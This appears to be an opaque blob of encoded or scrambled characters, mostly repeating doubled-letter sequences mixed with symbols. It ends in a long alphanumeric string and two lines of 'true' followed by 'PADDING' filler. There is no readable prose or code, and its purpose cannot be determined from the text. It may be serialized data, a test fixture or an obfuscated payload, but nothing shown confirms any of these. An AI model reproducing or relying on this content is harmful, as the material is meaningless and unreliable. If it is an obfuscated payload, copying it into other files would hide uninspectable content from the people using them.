VCCJsuu5=WWB6LLH;XXx7ggyvxxs~ee3fxxKSSSROppKcddu8ccNYjjO&uu4wggV vvNEXXv9bbJGxxM/mmffLLVubbJ]ddfIwwd1qqpavvc)XXP`xxryVVHiuux6ggz*xxvsHHJ(CCG2gggqCCJg66Z vvHtLLtCWWN`NNi[nnG#HHA1QQAALLwPjjf`LLNUSScDNNv'QQGVVVlYbbN6XXonnvvvvfUHHRQuucMVViFXXm:MM1EkkpwXXcFWWzGVVuEoo1{VV83ggHB00iBbbN466mgjjw@008WbbN/ll4 llA,nnPcuux)xxI XXBNNIUXXwLxxbfnnZsbbPrWWN^wwAYttBVEEBJccGINN8%jjfu33U!wwZOqq4JuuZcjjCUggw/11E_ppG~dd8smms[tt8>ttJ!IImXXXv*NNYEjjpgdd4$bbBvww6JQQzIjj8Mww42jjj~WWN7eePTooxPdds#kkdoLLopXXz\SSZxQQH,llqNxxJ1bb6"ww4qddk4ggfV11Exkks>llwnllf_IIMjjj1X11R"ggB-nnswuu1;LLyEWW2)33tMnndsVVu>jjc2ll5}xxv%XXfKllrOXXR&hhG1jjHVppACLLm/jjZwjjU-QQK4aaJ-nnc`LL51jjsgLLsnSS1,jjGGmmJ$IIA8llx$dd1hhhJqnnE%nnpxllmGllwtRRl~nnx_NNy?wwGlggmgWWmddd1cSSw&qqGCXXxxNNi\WWpOxxb4nn3THH50pp40NNkobb2UllluwwcBqqsiggK:ooHPCCf]00UsuueWggw!QQvinnJ(ppsaddJHggx}ttEmww2 NNI@WWcoLLaOggmJnnIfooZDdduvvve9ggs/ww3&jjt\mmedjjA!SSHkllaxmm2SLLsrggcmllhCllwKEEZ?QQ1"IIw,vvvgLLe,bbNa66BfnnJ855A8vvKZnnegjjK?nnM{CCKQqq3*ppw:NNR0nnzsee3>SSHiNNoDxxe3wwJ[bbv{LLNSllH=xxZVxxzpllMjmmx"xxikCCe7VVOhooNrqqb/ggrWXXc>nnx6ggmKWW2gRR5/oo2i11ZjwwfdnnymCCpnqqEjww1Mnn1%llZ2XXd/wwK5llraCCcsLLt{XXe MM5WmmJijjvCoov^xxudXXd5FFNrwwfZ55N?ppw=66e&llA1nnlDwwzHlln1vvx4LLfLXX16XXndnn38SS2~mmc>NNbCXXxnVVv$jj3#VVMBggz|ddA SSf3bbR=ccNlxxmsoopobbEZccH[33P6SSN~ddoAwwJcRRu8nn4 bbNJjjJDRRE^xxeL11A3WWs llCEbbv8nnf6WW1W005yggwoXXV%wwfOMM4#QQckllr#ppBMttUHttJ3ddYDvvc/ddJ{xxJ`VVLthhHA00uTuu3055NvoowEddO$ttmvnnP)jjAHtt8(ttNTNNfEXX4-ggxkoow^001=www-66T0mmfn33mtmmsHddP)jj1ejjg*oo2FbbH]oofuddWOooe/NNiEuuJ6ww6'llfxjja;jjz`xxy7wwmHxxonhhG}FFPxXXHgVVrXXYEllGOnng\jjKYllRruuHTLLuUnnNMaaNPwwBvLLh*hhGbjjyqWW3?FFHHppx,VVO7wwwxxWOpp3iXXLiSSZbFF5EwwG~SS3DwwvM334~mm32qqiuXXNRxxf{llGWxxUExxH/005HXXJq996 wwd7ddBxmmfVxxB!ppe)jji;llvLttH/QQx.qq1Cww2/MM6euuH011Aloo3)nnv|WW4}qqP-ggG~ddr#uuZ5aa1fuue/66Z]llHOddGPnnK?bb2xxxHJggb#ww3AXX1Njj1xLLU2bb2p33PIllc`LLbEpp3KVVzYnnd"ggdsQQfrggfjnnN.uuHPvvdOxxbEQQH2qq5wbbm|xxryll2vwwHaWWBjddC7ooBBddf'bbJ&xxuZXXB\xxw4SSx!ttV[xxv@ee3Jxxv\jjH%llHE661(ppdXnnm5jjveSS4\ppx-ttRRuuxgnnq|ooHCLLoEwwvrddqTSS4"VVvqww3uNNucoo2&NNV}CCzSNNzcbbw4jjYoww3MXXxPjj2>RRBcQQG#VVRYvvwxxxW-oo1:llK/ccNNNb.llJ!nnCmkkvEllVrSSe"nnE&SSHRRmMM63ggp=nnGsttc.gguYkkclllm"wwG[qqR6ggsnee4;ggvvnno>jjJBNNE?WWvjXXv*XXHmxxJ.kkzLqqGDccHk5567jjs7llK>oosTLLNaSS1UllY llG6ooErwwGUjjB7nn2tXXffxxHuxxrOuup-XXw!vvc.bb4cSS3[xxgYnn15ggs5nnwp66TDllBiee2wxxw6VVC|XX2Gnnx*ggv!II1>QQJM66eiCCep00cuxxfJ11Znuux(nno9oo1mLLr|bbJ,XXr&CCs9oo41ppZFeeR>uuZhXXyHSSfhVVf*ppzNqqESww1tnn4!SSHmllq~nnmVllH-xxv$nna%xxNaLLGBvvr:gghXhhJ"nnwcjjfaRR55uufUXXI,hhHOxxdGuup#ll1'ppxJ55Epoof3ddt"bbZ3VVvJmmeXaaP)WWc&xxCfxxA)ddTCQQ19NNwqqaKXXKMddLWbbNi66o}hhN^FFR}xxw{uuH/wwsrtt8FttN xxr5vvJ{UU6Mbbx'nnw4nnd3XX65xxvJMM1MWWJ:00JMbbx%qqT*mm39qqzIjjwjIIR"CCK8xx3!SSKUggnVWWZ'llU{mmGQuuZ*vvpjggN)xxp6NNVkpp4$xxHvbbv9jjI`mmscMMVPvvH*66txWWcrjjU~nncBooRHwwNEllwrllp~llAkSSpgll6mkkeFnncJoo1EeePRvvJB33BJmmHd00v_wwzoNN4bllf2XXtTnn39ddYQxxc_xxM8oofkXXB$SSG#nnfSbbZ9jjZBxxpjllmrllx7SSRKttB`EEBtWWv@66lHggHHLLcgSSwQLLg1SSGhjjT3XXNSMMH{mm3UddeCttvcwwBAkkB0ggE9ggeYuuP`vvw1nnHvbbH9uuPnbbvN33e'QQcMjjINjj4;ddJ5kkr8ggpnmmA]xxk>mm1.IIbAmm14nnW`bbJdNNMwjjzEnnH[ll1%llw/SSHdjjK/uus5llu~ggrPnnMvSSZ2jjg^ww2_uuJnnd,00AQnnxU99EKuuzDwwE>uupRaaE?kkp%wwB9yysKggE/SSJ700JIWWv7RRDlSS2`xxA'XXJ6xxA2ttGRMMB_SSr/ggTznnBy666 QQ4AxxVQQQJ;llI1nnvoddYpnnf>33Nubbvf66H1CCvr003LWWfzNNMqWWmw66G%QQ2u11B8yysPggA{nnvlXXDVWWf2IIG}XXxa00GQQQc>qqYGCCmntt8]ttNGjjT^nnKBll4vbbc ggNrccd9RRw$XXchllTySSJxNNV#QQr-uuBryys~ggAlnnv XXD9SS4qxxE)nnds00O3nnc-HHB%kkB@gg3rSSflllVeXXfrxx14XXclllT?SSJ NNV0QQf3xxZ*WWrLaaB(yysDgg1ySSJ`ddG"nnx"00U8QQ2]XXD1SS2-xxAPXXJyxxAuttGUMMBLLY mmx^66Z/QQKXVVJgwwpqNNpmQQ2BXXo`WWx'ww3kXXp,uu2)CCKVXXq7QQwUoo6PXXx=VVgfQQwRqqC'vvJ^HHVDmmB8MMA;jj1*VVYallHLqq8ASSxnNNLillN^xxGLWWH0MM5doo3RVVzII1~XXeQQe.llhuggK4SS3Ellvhll49nnw2NNuVkkfruu1wllGNjj5[nneKSSH8XX2C33zIxx38dd2oCCH*RRgCllpENNT6ggf=dd5\QQ1OXX3njjr`VVBGCCv]00C|ggrjlliojjfaNN3{jjm3llb;jjBnlly{XXH.ddV!nnv#nnvcwwJ511VMuuziSSPDSSdmddmGjj1BIIH!vvd(NNE!jjw7jjI&QQrGttA(mmGlllN nnv 33o!XXw"00Z!XX4*NNJoccKfnnV/wwzUqqq&oo1OIIy[kkslddL3llr|ww3~bbGXwwEsjjK$aa6BwwNkjjeqxxK=VVx2QQZlggd8ggz9HH2;bbw@00lmuuZPNNAOllwFLLutXXZPllr&xxvaggm|ggfPXXZhQQr%ggZ4WW2dgg8wWWd-jjAMoor|ooZ>mmG jjMhggwyjjsPXXZ`XX6YoospLLf_XX2SSwuqq6@pp2/NNI8SSw~uu5&ooHVqqRxggfZ33q0ggpqVVw]SS3_66qluuNGXXC6xx4rVVMquuB]ttUmttK5HH1Wmm4eggY'QQeZxxb!uu2ljjZKxxA@tt8 ttKHFFVbvvvJxx4kbbNEggyiggmldda ttwP33l|mmNZNNhpXX3XjjooSSHmEEJPjjd/NNO^vvNobb5uppxzxxbhllJDnnVASScoeeRsXXKcggA)ppep00I-vvHKLLJmnnKoVVJ%mmJ)nnYjjjNDllL9hhHb6624mmG3ddo~mm4JMM6Rmm2~XXgwggJLxxv$nnv[LLjexx2x33e"ooJ;tt5~SS3ojjH.QQ2>ddiSSS2B115 llr;ggUaQQpuqqw~ppAIeePVjjv`00u8WWwzddmOttx0qqR4mmzhggHBSSx>66d~oopRXX4 llvrXX4Jxx3mqq6eQQrFVVa*kkvd33cnSS4>xx4?WWZ?nnmQmm1SSS6(xxfEnnW nnHYllm8WWZBNNy@pppreeHCooceddIsoovtMM3'CCGRbbVobb1$xxG'WWxnNNB_ccHxNN48nnx_LLC~wwx4NNu,CCH-dd8ajjz:nnjYCCf`RRvLll2Ullsjvvs7ddA>SSN>aaZ jjdcxxKgll2>RR5aCCwPXXyhggJ!IIBuoo3AXXOill1033cjggr"xxvYuue`nnbtWWz2ttZCpp3BttZTnnHy00V7ppwI00lGppK;ttZuvvf`NNu\oofnjjlzXXfz66p\jj4?bb2dWWNMgg5LmmH0II5OSS1.66lAnne300v)XXdy6659oo1o33OUnnNajjCcmm1IRR4guuc LLg ppzUjju?ggr1NNY7ppz9XXKIuuvlNN5.bbvAHH4#ggKKNN2Lmm3FSS4ggJr334TQQc8jjm/kkeRggCuvvp2ddG6bbc|nne7ttckxxIapp1XII4cxxe&RRn8WWvwxxLMpp2RnnfZppeMLL1yll3oVVRMwwH]jjfRuur]tt6zwwHEjjO*SSZUggbKuu27NNG#xxzvjjV:ooebqqcUSSJlIIRAccKRbbA~QQZJNNc ggJKRR8~SSv8NNf3jjmAeeV xxxNllf`xxe)NNlBWWvJ66C=kkr`VV4*wwN3ddb}uue)338*bbN6XXNSvvvUllxXnnw`nnBqmm3WddrXmmz7llj~oo1ullLIWWfBRRr)nnxvuuJ6wwZbtt1vmmw"SS1/xxz2llBhQQrvjjPYwwe}nnc>nnA]xxU/jjAhgg0PADqvDpUyPECwGtYOOMQzIxazdjSsteZFxTKFtXVrXnLoMPsesorZjZuopbsPcSlISWTAIsvrOOSWuKRrAeroDjeXJwnPFnKtmaTqgySCpnOiyNLSyGKd_LDnWwMiPA

truePPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX

truePPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX